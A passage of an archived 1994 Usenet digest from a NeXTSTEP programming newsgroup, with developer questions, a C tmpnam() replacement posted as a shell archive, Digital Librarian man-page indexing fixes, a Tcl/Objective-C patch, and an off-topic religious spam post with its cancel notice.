bias... - db -- But this one flack, speaking valiantly to the press in the moments after the Hindenburg of Canadian electoral crashes, was adamant that Canadians [...] had offered the Tories (get this) an "opportunity". An opportunity to feel stupid and unwanted? -- Montreal Mirror on the Tories losing 156 seats
Message-ID: <}x%@byu.edu> Date: Mon, 17 Jan 94 11:20:10 MST Newsgroups: comp.sys.next.programmer Subject: Custom cursor only appears when running in shell-- WHAT??? Sender: sean@digaudio.byu.edu Followup-To: comp.sys.next.programmer Distribution: world Organization: Disorganization From: feijai@kolob (Sean Luke) When making a custom cursor (a vertical bar) for Sound Views in a Scroll View, it would appear that the cursor is displayed only when--get this--the program was run from a shell. If it's launched by the Workspace Manager, the cursor disappears! Likewise from the Dock. Has anyone come across this? It's really getting to me. Sean Luke sean@digaudio.byu.edu -- -------------------------------------------------------------------- Sean Luke MILK: It Comes From Cows sean@digaudio.byu.edu NeXTmail, MIME OK --------------------------------------------------------------------
Newsgroups: comp.sys.next.programmer Subject: Re: increasing the maximum number of temporary files Message-ID: <MATTHEW.94Jan17180359@viriconium.ocms.ox.ac.uk> From: matthew@viriconium.ocms.ox.ac.uk (Matthew Seaman) Date: 17 Jan 1994 18:03:58 GMT References: <2h7h4a$9u4@controversy.math.lsa.umich.edu> Distribution: world Organization: Mat's Hacking Shop In-reply-to: hal@alfred.econ.lsa.umich.edu's message of 15 Jan 1994 01:32:58 GMT >>>>> "Hal" == Hal Varian <hal@alfred.econ.lsa.umich.edu> writes: Hal> It appears from stdio.h that the maximum number of temporary Hal> files that can be created with tmpnam or mktemp is TMP_MAX = 25. Hal> I would like this to be much larger (e.g., 250). Are there any Hal> easy ways to do this, or do I have to write my own mktemp? I got bitten by this too: with cvs-1.3. It's not fun trying to cvs commit a directory with more than 25 altered files in it with NeXT's braindead tmpnam... Try this little code snippet that I knocked up: it tries to be a drop in replacement to tmpnam() in all respects, except that it gives you substantially more temporary file names to play with... about 1.0e+9 different names according to my calculations. Matthew #! /bin/sh # This is a shell archive, meaning: # 1. Remove everything above the #! /bin/sh line. # 2. Save the resulting text in a file. # 3. Execute the file with /bin/sh (not csh) to create the files: # tmpnam.c # This archive created: Mon Jan 17 18:00:13 1994 export PATH; PATH=/bin:$PATH if test -f 'tmpnam.c' then echo shar: will not over-write existing file "'tmpnam.c'" else cat << \SHAR_EOF > 'tmpnam.c' /* Drop in replacement for tmpnam() that generates more than 26 different temorary file names. */ #include <libc.h> #include <sys/file.h> #include <stdio.h> #include <string.h> #include <errno.h> /* Create a temporary file name of the form: /tmp/dddaaaaa where 'd' & 'a' signify a character from the given ALPHABET: aaaaa is the incremental file no. and ddd is the PID, both expressed in an ideosyncratic way in base ALPHASIZE. The whole name has to be less than L_tmpnam characters long: on NeXT this is currently 14 characters: |0 |1 |2 |3 |4 |5 |6 |7 |8 |9 |10|11|12|13| |/ |t |m |p |/ |d |d |d |a |a |a |a |a |\0| this gives us TMP_MAX = 63^5 = 992,436,543 different names for each pid. One more character, and we would overflow a 4 byte long int. */ #define ALPHABET "0123456789_" \ "abcdefghijklmnopqrstuvwxyz" \ "ABCDEFGHIJKLMNOPQRSTUVWXYZ" #define ALPHASIZE 63 #define NAMEPREFIX "/tmp/" #define PREFIXLEN 5 #define PIDLEN 3 /* PID's are numbers less than about 30,000. 63^3 is 250,047 which should be adequate... */ char * tmpnam (char *name) { static unsigned callcount = 0; static char out[L_tmpnam]; /* Static area for returns */ static char work[L_tmpnam]; /* Working area */ long i, j; /* Loop controllers */ /* -- CODE -- */ for (;;) { if (!callcount) { /* Build the prefix and pid parts: these are constant from call to call so we only do it once */ strncpy (work, NAMEPREFIX, PREFIXLEN); j = (int) getpid (); for (i = PREFIXLEN; i < PREFIXLEN + PIDLEN; i++) { work[i] = ALPHABET[j % ALPHASIZE]; j /= ALPHASIZE; } } /* Build the serial no. part */ j = callcount; for (i = PREFIXLEN + PIDLEN; i < L_tmpnam - 1; i++) { work[i] = ALPHABET[j % ALPHASIZE]; j /= ALPHASIZE; } /* Nice and tidy */ work[L_tmpnam - 1] = '\0'; callcount++; /* Try and open the file for reading. If we fail "no such file", return that name. */ i = open (work, O_RDONLY, 0); if (i == -1) { if (errno == ENOENT) break; /* Success! */ else return NULL; /* Other errors are serious */ } else close (i); } if (name) return strncpy (name, work, L_tmpnam); else /* Return in static memory */ return strncpy (out, work, L_tmpnam); } SHAR_EOF fi # end of overwriting check # End of shell archive exit 0 -- Matthew Seaman <Matthew.Seaman@dyson.ox.ac.uk> Non-NeXT mail <matthew@viriconium.ocms.ox.ac.uk> NeXT mail Inorganic Chemistry Laboratory, S. Parks Rd, Oxford, OX1 3QR, England Tel +44 (0)865 272640 Fax +44 (0)865 272690
From: marcus@ursula.ee.pdx.edu (Marcus Daniels) Newsgroups: comp.sys.next.programmer Subject: Wanted: Allegro Common LISP for 3.2 Date: 17 Jan 1994 10:40:17 -0800 Message-ID: <2hem2h$m62@ursula.ee.pdx.edu> Summary: Looking for (used, re: cheaper) Allegro Does anyone out there know if there is a version of Allegro that will run with 3.2? If so, is it being maintained? Is it relatively similar to other platforms? Anyone selling? Thanks, Marcus Daniels
Newsgroups: comp.sys.next.programmer From: thf@zelator.in-berlin.de (Thomas Funke) Subject: Re: increasing the maximum number of temporary files Message-ID: <1994Jan16.130941.845@gamelan> Sender: thomas@gamelan (thomas) Organization: Disorganization References: <2h7h4a$9u4@controversy.math.lsa.umich.edu> Date: Sun, 16 Jan 1994 13:09:41 GMT In article <2h7h4a$9u4@controversy.math.lsa.umich.edu> hal@alfred.econ.lsa.umich.edu (Hal Varian) writes: > It appears from stdio.h that the maximum number of temporary > files that can be created with tmpnam or mktemp is TMP_MAX = 25. > I would like this to be much larger (e.g., 250). Are there any > easy ways to do this, or do I have to write my own mktemp? Yes, write it yourself. Done in 5 minutes. [No, I'm not posting the code here, exercise left to the reader ...] -- ------------------------------------------------------------------ Thomas Funke ** Unix-Consultant ** thf@zelator.in-berlin.de Brooks's Law: Adding manpower to a late software project makes it later ------------------------------------------------------------------
Newsgroups: comp.sys.next.programmer From: thf@zelator.in-berlin.de (Thomas Funke) Subject: Re: Porting NS prototypes to X-windows Message-ID: <1994Jan16.134549.917@gamelan> Sender: thomas@gamelan (thomas) Organization: Disorganization References: <9401141758.AA13429@cantina.lanl.gov> Date: Sun, 16 Jan 1994 13:45:49 GMT In article <9401141758.AA13429@cantina.lanl.gov> silbar@cantina.lanl.gov (Dick Silbar) writes: > > "Well, nice, but I don't want to force MY customers into using > a platform they've never heard of or don't want to get into. > How hard would it be to develop your front-end for my code and > then, when we're happy with it, port it to X?" > > OK, I don't know very much about X-windows, so I am passing > the question along to you folks. 1. It's good to know NEXTSTEP. 2. It's good to no nothing about X. 3. To make a living, you have to deliver X-software, not NEXTSTEP. How can we solve this problem ? Use tk/tcl. For a first look, read comp.lang.tcl. Get the FAQ. Install the stuff on NeXT (easy, as on almost all unix machines). Try the examples for a few days. After one week, you'll do X programs on which every long-experienced Motif hacker will envy you. > 1. I was making the (unsubstantiated?) claim that NS development > was about four times easier (faster, simpler, cleaner, etc.) > than X-windows development. True? Everything you can do with IB only is faster than anything on X. But when you start programming it's different: Because tk/tcl is interpreted, it's much faster than doing long compile/link cycles. You can do many tasks with tk/tcl quicker than on NeXT. Tk/tcl is easier than appkit-programming. To be good in NeXTSTEP you need several months experience. To be good in Motif, you need years :-), to be good in TK you need 2-3 weeks at most. Especially if you have unix commandline programs and want to have a nice GUI around, TK/TCL is the way to go, because of the nice features forking processes and analysing the output via regular expressions. This way I did a complicate interface to a ingres database in a very short time. TK/TCL is portable: It will run on nearly everything which looks like unix: Linux, SunOS, Solaris, AIX, Ultrix and so on. It is very stable and has a well done design. You get bugfixes immediately (from the newsgroup). And it's FREE ! The drawbacks of tk/tcl ? Not much. Still it's X. The really advanced features from NeXTSTEP like Postscript drawing, 3D-kit or drag'n'drop are not there. Because it's interpreted, you have to deliver source code. In some (rare) cases, you'll have performance problems. tcl-code is not object-oriented and thus lacks of good structuring. But anyway you'll use it mostly for the GUI, doing the applictaion code in C/C++ . -- ------------------------------------------------------------------ Thomas Funke ** Unix-Consultant ** thf@zelator.in-berlin.de Brooks's Law: Adding manpower to a late software project makes it later ------------------------------------------------------------------
From: zmonster@ATHENA.MIT.EDU (Eric M Hermanson) Newsgroups: comp.sys.next.programmer Subject: Re: Rich Text Source Code?! Date: 17 Jan 1994 22:59:25 GMT Organization: Massachusetts Institute of Technology Message-ID: <2hf58d$1sr@senator-bedfellow.MIT.EDU> References: <2hderh$h3f@senator-bedfellow.MIT.EDU> <1994Jan17.180606.19694@sifon.cc.mcgill.ca> In article <1994Jan17.180606.19694@sifon.cc.mcgill.ca> samurai@amber.hasc.ca writes: >In article <2hderh$h3f@senator-bedfellow.MIT.EDU> zmonster@ATHENA.MIT.EDU (Eric >M Hermanson) writes: >> This support will make it loads easier document source code. I am surprised >> none of the NextDeveloper/Examples have RTF commented source code yet. >Because half of them are written by programmers that use emacs. Myself, Good Point. >I believe that RTF source is a bad idea. Why? It makes it hard to use >the program of your choice to edit the file. As a person who is learning NEXTSTEP programming, I think RTF code is a great idea. It would be nice to be able to quickly scan code for important comments in red type, or bold type. It would also be helpful as stated earlier to be able to click on a file link in the source code to learn more about the programming technique. It wouldn't be that hard to convert the code back to ASCII if you really wanted to use another text editor besides Edit. Maybe NeXT could offer an RTF/Examples directory to help the more novice programmers. Eric
From: M.Crawford@dcs.shef.ac.uk (Malcolm Crawford) Newsgroups: comp.sys.next.programmer Subject: Librarian bug? Man page topics don't show up Date: 17 Jan 1994 17:32:43 -0600 Organization: UTexas Mail-to-News Gateway Sender: daemon@cs.utexas.edu Message-ID: <9401172333.AA26077@dcs.shef.ac.uk> Sorry this is a bit "chatty", it's from a newsletter I'm putting together, but it might help... " Under NEXTSTEP 3.2 Digital Librarian (DL) exhibits some counter-intuitive behaviour. If you index a direcory using DL and then search on that indexed target, DL first uses the index to perform the familiar fast find we all know and love, but then it continues to search the contents of all the files within the target as if no index were present. The reason for this was explained by Matt Watson (Matt_Watson@NeXT.com): You have to index with ixbuild -s (at least) if you want "static" indexes. (DL doesn't do this if you use the target inspector to index). Otherwise, DL thinks that the source may have changed, so after it searches the index, it goes through all the source files... This behaviour is counter-intuitive, so I've filed a bug against it. To work around this "bug" you therefore have to index targets from the Unix command-line. To do this: open a Terminal window, and type cd targetDirectoryName where targetDirectoryName is the full pathname of the directory you would like to index (as a shortcut you can simply type cd and then drag the folder icon for the target directory into the Terminal window: this will "type in" the pathname for you). If you have previously created an index, you should remove it, either by typing /bin/rm .index.store or by using Workspace as normal. To index, type ixbuild -fgsv -LEnglish . (note the final "."). This will now create the index for you. " -- note also the -g option; from the man pages: -g Generate descriptions automatically from file contents. this will show the topics in Librarian. I hope this helps, Have fun, mmalcolm. --- SHeffield Auditory Group | Vox : (+44) 742 768555 ext 5569 Dept. Computer Science | direct : 825569 Sheffield University | Fax : (+44) 742 780972 Regent Court | Email: malc@dcs.shef.ac.uk 211 Portobello Street | (NeXTMail welcome) Sheffield S1 4DP, UK. | (Read-Receipts discouraged :-)
From: rgc@wam.umd.edu (Ross Garrett Cutler) Newsgroups: comp.sys.next.programmer Subject: Re: Rich Text Source Code?! Date: 17 Jan 1994 23:52:35 GMT Organization: University of Maryland College Park Message-ID: <2hf8c3$fvm@cville-srv.wam.umd.edu> References: <2hderh$h3f@senator-bedfellow.MIT.EDU> <1994Jan17.180606.19694@sifon.cc.mcgill.ca> Darcy Brockbank (samurai@amber.hasc.ca) wrote: : In article <2hderh$h3f@senator-bedfellow.MIT.EDU> zmonster@ATHENA.MIT.EDU (Eric : M Hermanson) writes: : > : > This support will make it loads easier document source code. I am surprised : > none of the NextDeveloper/Examples have RTF commented source code yet. : > : Because half of them are written by programmers that use emacs. Myself, : I believe that RTF source is a bad idea. Why? It makes it hard to use : the program of your choice to edit the file. It is very simple to convert a RTF file to ASCII. Another reason is that RTF was added late in the game, and reformatting old examples probably wasn't on the list of priorities. : I use all of Edit, jove, and emacs, and if *anyone* hands me a source : code file in RTF I am going to bonk them on the head with it. The : editor should be able to *display* the source code in meaningful ways : (ie. formatted, highlit, whatever) but to see some of the crazy : ideas people have about what is good readable RTF code makes me ill. Which is why I wrote RTFSyntax -- which allows you to define what *you* think RTF code should look like (using regular expressesions). You can easily reformat someone else's code to your liking. : NeXT has, in the past, always approached NEXTSTEP from the point of : view that the user/programmer is a dope with no taste. They don't : let you customize the environment, or the presentation of your : interface at all (compared to X interfaces of course). I find it : surprising that they've gone and opened the floodgates to every : bad idea every programmer has out there about source code presentation. I completely disagree. This is like saying there should be a single standard for formatting C code. Personally, I can't stand the way some people format their C code; I therefore run ugly code through indent(1) and voila -- pretty code. Properly used, I think RTF is an extremely valuable tool. Links are fantastic, and I'd never use an editor that doesn't allow color syntax highlighting. -- Ross Cutler University of Maryland, College Park Internet: rgc@wam.umd.edu
From: clarence@orion.cc.andrews.edu (Clarence L. Thomas IV) Newsgroups: comp.sys.next.programmer Subject: Global Alert For All: Jesus is Coming Soon Date: 17 Jan 1994 19:43:43 -0500 Organization: Andrews University, Berrien Springs, MI, 49104 Distribution: world Message-ID: <2hfbbv$9lp@orion.cc.andrews.edu> The earthquake in Los Angeles, California, the flood in Europe, the seemingly unstoppable war in the former Yugoslavia, the devastating fires in Australia, the flood in the Midwest of the United States of America, the devastating fires near Los Angeles, California, the rapid and appalling increase in violence in cities, towns, villages all over the world, the famines, the diseases, the rapid decline of the family unit, and the destructive earthquake in India (in 1993) are signs that this world's history is coming to a climax. The human race has trampled on God's Constitution, as given in Exodus 20:1-17 (King James Version Bible), and Jesus is coming to set things right. These rapidly accelerating signs are an indication that Jesus is coming soon (Matthew 24). God's Holy Spirit is gradually withdrawing its protection from the earth and the devastating events you see are demonstrations of Satan's power. All those who are not guarded by God are in danger of forever losing eternal life. If you want to know what's about to happen, please study the books of Daniel and Revelation which are located in God's Word, the Bible. They are not sealed or closed books. They can and must be understood by all. Every word in the Bible from Genesis to Revelation is true. The Bible and the Bible only must be your guide. When God's Law (the Constitution for the Universe) is consistently ignored, disregarded, changed, and questioned, He permits certain events to occur to wake us up. I would urge all, wherever you are and regardless of the circumstances, to directly call on Jesus and ask Him to intervene in your life. Jesus who created this planet and every living creature in it and on it, died on the cross, was raised from the dead by God the Father, and is now in Heaven interceding for you. Jesus is the only One who can rescue us from the slavery, misery, and death Satan is causing us. For reference I'm including God's Constitution as given in the King James Version Bible. Please note that when God says the seventh day, he means Sabbath (the 7th day of the week) not Sunday (1st day of the week). Commandment #1: Exodus 20:1-3 (KJV) And God spake all these words, saying, I am the LORD thy God, which have brought thee out of the land of Egypt, out of the house of bondage. Thou shalt have no other gods before me. Commandment #2: Exodus 20:4-6 (KJV) Thou shalt not make unto thee any graven image, or any likeness of any thing that is in heaven above, or that is in the earth beneath, or that is in the water under the earth. And shewing mercy unto thousands of them that love me, and keep my commandments. Commandment #3: Exodus 20:7 (KJV) Thou shalt not take the name of the LORD thy God in vain; for the LORD will not hold him guiltless that taketh his name in vain. Commandment #4: Exodus 20:8-11 (KJV) Remember the sabbath day, to keep it holy. Six days shalt thou labour, and do all thy work: But the seventh day is the sabbath of the LORD thy God: in it thou shalt not do any work, thou, nor thy son, nor thy daughter, thy manservant, nor thy maidservant, nor thy cattle, nor thy stranger that is within thy gates: For in six days the LORD made heaven and earth, the sea, and all that in them is, and rested the seventh day: wherefore the LORD blessed the sabbath day, and hallowed it. Commandment #5: Exodus 20:12 (KJV) Honour thy father and thy mother: that thy days may be long upon the land which the LORD thy God giveth thee. Commandment #6: Exodus 20:13 (KJV) Thou shalt not kill. Commandment #7: Exodus 20:14 (KJV) Thou shalt not commit adultery. Commandment #8: Exodus 20:15 (KJV) Thou shalt not steal. Commandment #9: Exodus 20:16 (KJV) Thou shalt not bear false witness against thy neighbour. Commandment #10: Exodus 20:17 (KJV) Thou shalt not covet thy neighbour's house, thou shalt not covet thy neighbour's wife, nor his manservant, nor his maidservant, nor his ox, nor his ass, nor any thing that is thy neighbour's. I also recommend that the following books be obtained and closely studied: The Great Controversy By Ellen G. White Review and Herald Publishing Association Hagerstown, MD 21740 The Desire of the Ages By Ellen G. White Review and Herald Publishing Association Hagerstown, MD 21740 Patriarchs and Prophets By Ellen G. White Review and Hearld Publishing Association Hagerstown, MD 21740 Daniel and the Revelation By Uriah Smith Review and Herald Publishing Association Hagerstown, MD 21740 ------- Clarence L. Thomas IV Phone: 616-471-6116 E-mail: thomas@redwood.cc.andrews.edu
Newsgroups: comp.sys.next.programmer From: jfr@aspen.pdh.com (Jon F. Rosen) Subject: Re: Unicode ?? Message-ID: <CJsKwx.6Iz@pdh.com> Sender: news@pdh.com (USENET News Account) Organization: PDH, Inc. References: <AhCUVwm00iV4Q7nGxs@andrew.cmu.edu> Date: Mon, 17 Jan 1994 20:58:08 GMT Charles William Swiger writes: > Izumi Ohzawa writes: > > Unicode is one of those things that everyone says that they > > will support it, and then leave it alone. So, No, it is not in > > NS3.2. Besides, I've never heard of anyone using Unicode in > > documents or communications. > > This is not NeXT related, but the company I used to work for used > Unicode internally and for documents for a project management > product called "PROJECT/2 Series X", which has Mitsubishi as both > a major customer and as our agent for other East Asian sales & > support. Last I had anything to do with internationalization issues with databases, Unicode had finally been established as the target ISO standard after some prolonged disputes over code sets and availability of extensions to the code sets. I do not know if ISO actually finalized a standard however. My guess is that anyone doing multi-byte character set manipulation is going to have to support Unicode sometime in the future, like it or not. As the original poster points out, however, it is no in NeXT release 3.2, and I would not necessarily expect it in 4.0. Jon
From: edmtl@alf.uib.no (Thor Legvold) Newsgroups: comp.sys.next.sysadmin,comp.sys.next.programmer Subject: Elementary help with .login file Date: 18 Jan 1994 03:15:51 +0100 Organization: University of Bergen Message-ID: <2hfgon$c9b@alf.uib.no> Simple question: why does printenv give the complete environment as specified in .login (through among other things setenv commands) when I use tcsh, but not when I use csh. Both are configured to source .login at startup. csh responds correctly if I type them in one by one to a new shell, but doesn't seem to see them in .login. What could cause this? (I'm using '#' as comment character in .cshrc and .login, I don't think that's the problem) e-mail replies. Regards, -- Thor Legvold | This is the strangest life NorNeXT User Group leader | I've ever known... University of Bergen | - Jim Morrison, The Doors Norway | edmtl@fiol.uib.no (NeXTmail)
From: edmtl@alf.uib.no (Thor Legvold) Newsgroups: comp.sys.next.sysadmin,comp.sys.next.programmer Subject: Error 11: segmentation fault and other one-liners Date: 18 Jan 1994 03:21:44 +0100 Organization: University of Bergen Message-ID: <2hfh3o$cdb@alf.uib.no> like for example Signal 10: Bus error. I finally got the "vanilla" C program to run (upgraded from 3.0J to 3.2, compiled and installed ncurses, commented out small pieces of code) and it even seems to work, except that it crashes more often than I do - a Bad Thing (tm). Are there specific routines these two errors could be traced back to that I should look at in the original? The program is a database for genealogical information, and runs in a terminal window with the help of ncurses. Would it be just as good to make a NeXT GUI for it and just "put the code in where it belongs", or am I over-simplifying things...? I cannot rely on buggy programs for my valuable data, and hope to fix the problems mentioned above. Please e-mail replies. Regards, -- Thor Legvold | This is the strangest life NorNeXT User Group leader | I've ever known... University of Bergen | - Jim Morrison, The Doors Norway | edmtl@fiol.uib.no (NeXTmail)
From: stabl@antigone.ppp.informatik.uni-muenchen.de (Robert Stabl) Newsgroups: comp.sys.next.programmer,comp.lang.objective-c,comp.lang.tcl Subject: Fix to first port of Tcl/Objective-C Interface Library available for NeXT's cc Date: 18 Jan 1994 01:22:33 GMT Organization: Institut fuer Informatik der Ludwig-Maximilians-Universitaet Muenchen Message-ID: <2hfdkp$30e@antigone.ppp.informatik.uni-muenchen.de> References: <2hcn6h$23r@antigone.ppp.informatik.uni-muenchen.de> Mime-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 8bit In article <2hcn6h$23r@antigone.ppp.informatik.uni-muenchen.de> stabl@antigone.ppp.informatik.uni-muenchen.de (Robert Stabl) writes: > Tcl / Objective-C Interface Library compiling on NeXT systems > ************************************************************* A silly bug was included in the distribution of the first port of Tcl/Objective-C Interface Library available for NeXT's cc. (Never change a running code for archieving more elegance :) The new version can be found at ftp.informatik.uni-muenchen.de:pub/comp/platforms/next/Developer/resources/lib raries/libtclobjc.0.1.N.s.tar.gz (yeah, these Germans really like those short pathnames ;-) Here's the patch: =================================================================== RCS file: /Users/proj/cvs/libtclobjc/tclObjc.m,v retrieving revision 1.3 diff -c -r1.3 tclObjc.m *** 1.3 1994/01/17 00:12:38 --- tclObjc.m 1994/01/18 00:52:26 *************** *** 217,223 **** else debug_printing = NO; - argframecontents.p = argptr_buffer; argframe = (marg_list)&argframecontents; if (debug_printing) --- 217,222 ---- *************** *** 232,247 **** offset = &realOffset; method_getArgumentInfo(method, 1, &type, offset); *(marg_getRef(argframe, *offset, SEL)) = sel; ! offset = &realOffset; ! method_getArgumentInfo(method, argnum, &type, offset); for (argnum = 2; argnum < argc && type; argnum++) { if (debug_printing) { printf("datum=%x type=%s\n", (unsigned int)(marg_getRef(argframe, *offset, id)) - bargframe, type); printf("argv[%d] = %s type=%s\n", argnum, argv[argnum], type); } switch (*type) { case _C_SEL: --- 231,248 ---- offset = &realOffset; method_getArgumentInfo(method, 1, &type, offset); *(marg_getRef(argframe, *offset, SEL)) = sel; ! type = 1; for (argnum = 2; argnum < argc && type; argnum++) { + offset = &realOffset; + method_getArgumentInfo(method, argnum, &type, offset); if (debug_printing) { printf("datum=%x type=%s\n", (unsigned int)(marg_getRef(argframe, *offset, id)) - bargframe, type); printf("argv[%d] = %s type=%s\n", argnum, argv[argnum], type); } + switch (*type) { case _C_SEL: *************** *** 314,321 **** return TCL_ERROR; } } ! offset = &realOffset; ! method_getArgumentInfo(method, argnum, &type, offset); } --- 315,322 ---- return TCL_ERROR; } } ! // offset = &realOffset; ! // method_getArgumentInfo(method, argnum, &type, offset); } Robert Stabl. -- Robert Stabl email: stabl@informatik.uni-muenchen.de Computer Science Institute Tel: +(49) 89 2180 6316 University of Munich FAX: +(49) 89 2180 6310 Leopoldstr. 11B "Wer die Wahrheit nicht weiss, der ist bloss ein D-80802 Muenchen Dummkopf. Aber wer sie weiss und sie eine Luege Germany nennt, der ist ein Verbrecher!" B.Brecht,"Galileo"
From: gad@eclipse.its.rpi.edu (Garance A. Drosehn) Newsgroups: comp.sys.next.programmer,comp.sys.next.bugs Subject: Re: Librarian bug? Man page topics don't show up in *NS-3.2* Date: 18 Jan 1994 04:23:56 GMT Organization: Rensselaer Polytechnic Institute, Troy NY, USA Distribution: world Message-ID: <2hfo8s$s9@usenet.rpi.edu> References: <2h0ka7$mte@zip.eecs.umich.edu> Roland Telfeyan <roland@gomidas.mi.org> writes: > I've noticed that in 3.1 the man page topics don't show up in > Librarian. All you get are things like "man3/ctime.3" rather > than "ctime - convert date and time to ASCII" or whatever. > > Anybody know what causes this? I've tried reindexing using ixbuild > but it doesn't work. I noticed that in 3.2 some of the man page > topics DO show up but many still DON'T. What gives? I have no insight on NS-3.1, but the following is significant for people with NS-3.2. Or at least, it was significant for me, running NS-3.2 on NeXT (not Intel) hardware: In the Supplemental Release Notes for NeXTSTEP Developer, which were included with release 3.2 developer, the second page has a section on Unix man pages. This is tagged as "Reference 38816". What is listed there as the workaround for the problem it describes is wrong. Anyone who followed that advice will (among other things) end up without descriptions for the man pages when they list titles in Digital Librarian. What it recommends: cd /usr/man mv man/* man1 rmdir man rm whatis .index.store ixbuild -fsv -LEnglish . makewhatis . If you have not already done the workaround that NeXT recommended, then what you really want to do is: cd /usr/man mv man/*/* man1 rmdir man/man1 man rm man2/open.2.deleteme mv man8/rdate.8C man8/rdate.8c rm whatis .index.store ixbuild -fsg -LEnglish . /usr/lib/makewhatis . chmod go+r .index.store whatis if you have done the recommended workaround, then you want to: cd /usr/man mv man1/man1/* man1 rmdir man1/man1 rm man2/open.2.deleteme mv man8/rdate.8C man8/rdate.8c rm whatis .index.store ixbuild -fsg -LEnglish . /usr/lib/makewhatis . chmod go+r .index.store whatis (in all cases, you have to log into root to do these unix commands. You'd have to start up Terminal.app to get a window where you can type the unix commands into...). Comments on the differences: the release notes describe the error as some man pages being in /usr/man/man, but they're really in /usr/man/man/man1 The release notes didn't catch the "deleteme" file that Annard Brouwer (annard@theborg.stack.urc.tue.nl) noticed. Annard also noticed that the ".8C" suffix on rdate had to be ".8c". In the ixbuild, you want the "-g" parameter (which gets you the one-line man page descriptions when Digital Librarian lists the titles of man pages). You have no need for the -v option, which just prints hundreds of lines that you don't care about (in this case) to your terminal window. Thanks to Malcolm Crawford (M.Crawford@dcs.shef.ac.uk) for spotting this, I missed it the first times I rebuilt the index. makewhatis is in /usr/lib, and /usr/lib is not in the $PATH for most people (it's not in the default PATH for root). once the files are created, you want to make sure all users can read them! The way my own umask is set, they were not permitted to others by default. That might be due to a change I made, I don't remember now... --- Garance Alistair Drosehn = gad@eclipse.its.rpi.edu ITS Systems Programmer (handles NeXT-type mail) Rensselaer Polytechnic Institute; Troy NY USA
From: kheit@gandalf.rutgers.edu (John Kheit) Newsgroups: comp.sys.next.programmer Subject: Re: NSi, No Simult Snd Rec&Play Message-ID: <Jan.18.01.12.16.1994.14687@gandalf.rutgers.edu> Date: 18 Jan 94 06:12:17 GMT References: <Jan.15.19.09.04.1994.26632@gandalf.rutgers.edu> <CJpunI.ID6@sounds.wa.com> Organization: Rutgers Univ., New Brunswick, N.J. BrianW@SoundS.WA.com (Brian Willoughby) writes: >This is not a NEXTSTEP bug - just another example of how NeXT hardware is >superior (at least to Intel hardware) when it comes to handling "multimedia". This I know! I compile stuff using my intel through my ND :) But unfortunatly I have to face reality and get things going on crappy intel hardware, like it or not. >As for the Pro Audio Spectrum 16, I am not so certain about the limitations, >but my recollection is that the restrictions are similar to the SoundBlaster >(they're compatible, anyway, right?) Well, the PAS, in short, has a "second" card in it (i.e. the soundblaster card, that has its own dma and irq setting). Then the PAS 16 has its own capabilities. If the PAS 16 can or cannot do both input out, I dont know... But thinking about it, since there is both a soundblaster AND a PAS 16 card on a PAS 16, its probably theoretically possible to get both working at the same time by writing somekind of special driver. Unfortunatly hardware drivers look really hard (at least to me) to program... I guess maybe a better question at this point is... Is it possible to put int two PAS16 cards in a PC to somehow do both at the same time? Otherwise, the only other solution I see, is buying a second PC with a sound card, hooking them up together over a mini-netowork, enabling public sound server, and using the second machine to do the other half of the input/output data/sound aquisition. A rather ugly and expensive solution at best. Welp, any thoughts on this in the public/net arena would be really appreciated by at least me :) Later, John
Control: cancel <2hfbbv$9lp@orion.cc.andrews.edu> Newsgroups: comp.sys.next.programmer From: clarence@orion.cc.andrews.edu Subject: cmsg cancel <2hfbbv$9lp@orion.cc.andrews.edu> Message-ID: <cancel$758899273@aber.ac.uk> Sender: news@aber.ac.uk (USENET news service) Organization: UseNet Cabal (West Wales Cadre) Active Service Unit Date: Tue, 18 Jan 1994 13:21:13 GMT Autocancel of: "Global Alert For All: Jesus is Coming Soon"
From: edmtl@alf.uib.no (Thor Legvold) Newsgroups: comp.sys.next.programmer,comp.sys.next.sysadmin Subject: Terminal/Stuart 8 bit clean? Date: 18 Jan 1994 17:37:55 +0100 Organization: University of Bergen Message-ID: <2hh393$rb5@alf.uib.no> I'm _sure_ in 2.1 and maybe 3.0J I was able to input and display 8 bit characters (i.e. letters in norwegian alphabet not in ASCII) with Terminal. Now (3.2) I can't seem to do either in Terminal or Stuart. Yes, I have set pass8 pass8out. Where else should I look - this must be something simple I've overlooked... BTW - anyone know of Emacs versions/patches allowing 8 bit input and display of "foreign" letters? Regards, -- Thor Legvold | This is the strangest life NorNeXT User Group leader | I've ever known... University of Bergen | - Jim Morrison, The Doors Norway | edmtl@fiol.uib.no (NeXTmail)
From: rjackson@magnus.acs.ohio-state.edu (Randy W Jackson) Newsgroups: comp.sys.next.programmer Subject: parse error in stdio.h? Date: 18 Jan 1994 17:40:38 GMT Organization: The Ohio State University Message-ID: <2hh6um$6v@charm.magnus.acs.ohio-state.edu> Please help! When compiling a simple program, I get the following re stdio.h: outback> gcc area.c In file included from area.c:2: /NextDeveloper/Headers/ansi/stdio.h:234: parse error before `*' /NextDeveloper/Headers/ansi/stdio.h:272: parse error before `*' /NextDeveloper/Headers/ansi/stdio.h:272: warning: data definition has no type or storage class area.c: In function `compute_distance': area.c:61: warning: type mismatch in implicit declaration for built-in function `sqrt' outback> Why would the header file not compile? I have looked at the header file, but can't see any syntax error. post if you wish, but please email jackson+@osu.edu Thanks, Randy Jackson jackson+@osu.edu
From: rjackson@magnus.acs.ohio-state.edu (Randy W Jackson) Newsgroups: comp.sys.next.programmer Subject: Re: parse error in stdio.h? Date: 18 Jan 1994 17:48:56 GMT Organization: The Ohio State University Message-ID: <2hh7e8$82@charm.magnus.acs.ohio-state.edu> References: <2hh6um$6v@charm.magnus.acs.ohio-state.edu> Forgot to add, I have just installed 3.2 developer. Randy J
From: 0005508785@mcimail.com (ErgoTech Development, Inc.) Newsgroups: comp.sys.next.programmer,comp.sys.next.sysadmin Subject: RE: Global Alert For All: Jesus is Coming Soon Date: 18 Jan 1994 13:09:53 -0600 Organization: UTexas Mail-to-News Gateway Sender: daemon@cs.utexas.edu Message-ID: <11940118163611/0005508785NA2EM@mcimail.com> But on the positive side this means that Cairo and Taligent will never outsell NeXTSTEP.
